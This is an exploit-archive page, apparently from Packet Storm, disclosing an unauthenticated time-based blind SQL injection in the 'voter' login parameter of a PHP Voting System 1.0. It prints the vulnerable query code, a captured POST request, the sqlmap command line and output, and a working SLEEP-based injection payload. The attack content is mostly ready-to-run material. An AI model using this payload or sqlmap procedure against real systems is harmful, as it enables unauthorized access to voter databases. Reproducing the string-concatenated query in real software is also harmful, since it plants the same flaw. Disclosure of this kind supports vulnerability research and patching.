exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Voting System 1.0 SQL Injection

Voting System 1.0 SQL Injection
Posted May 3, 2021
Authored by Syed Sheeraz Ali

Voting System version 1.0 suffers from remote time-based SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 4125de1073d90e60307a7cff247c2e779bbf850017ed596b173c7a63ce4351db

Voting System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)
# Date: 02/05/2021
# Exploit Author: Syed Sheeraz Ali
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 20H2 + XAMPP v3.2.4

If we try to login as a voter and catch the login request in burp then pass it to sql map then we can put our payload in voter parameter

Vulnerable code

```

Path :- /votersystem/login.php


<?php

session_start();

include 'includes/conn.php';


if(isset($_POST['login'])){

$voter = $_POST['voter']; <- vulnerable parameter

$password = $_POST['password'];


$sql = "SELECT * FROM voters WHERE voters_id = '$voter'"; <-
Passed unsanitized input

$query = $conn->query($sql);


if($query->num_rows < 1){

$_SESSION['error'] = 'Cannot find voter with the ID';

}

else{

$row = $query->fetch_assoc();

if(password_verify($password, $row['password'])){

$_SESSION['voter'] = $row['id'];

}

else{

$_SESSION['error'] = 'Incorrect password';

}

}



}

else{

$_SESSION['error'] = 'Input voter credentials first';

}


header('location: index.php');


?>

```
Request

```

POST /login.php HTTP/1.1
Host: 10.129.139.200
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.139.200
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://10.129.139.200/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=vuukl0gemht1iiq7lmptu7npoe
Connection: close

voter=as&password=as&login=

```
Sqlmap output

```

python3 sqlmap.py --dbms=mysql --batch --level=1 --risk=3 -r /Users/sheerazali/Documents/wpcve/voter.req -p voter

___

__H__

___ ___[)]_____ ___ ___ {1.5.4.7#dev}

|_ -| . [(] | .'| . |

|___|_ ["]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program


[*] starting @ 07:50:56 /2021-05-02/


[07:50:56] [INFO] parsing HTTP request from
'/Users/sheerazali/Documents/wpcve/voter.req'

[07:50:57] [INFO] testing connection to the target URL

got a 302 redirect to 'http://10.129.139.200:80/index.php'. Do you want to follow? [Y/n] Y

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: voter (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: voter=as' AND (SELECT 2487 FROM (SELECT(SLEEP(5)))WYpt) AND 'hBVQ'='hBVQ&password=as&login=

---

[07:50:57] [INFO] testing MySQL

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[07:51:08] [INFO] confirming MySQL
[07:51:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[07:51:19] [INFO] adjusting time delay to 1 second due to good response times
[07:51:19] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.27, Apache 2.4.46

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[07:51:19] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/10.129.139.200'


[*] ending @ 07:51:19 /2021-05-02/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close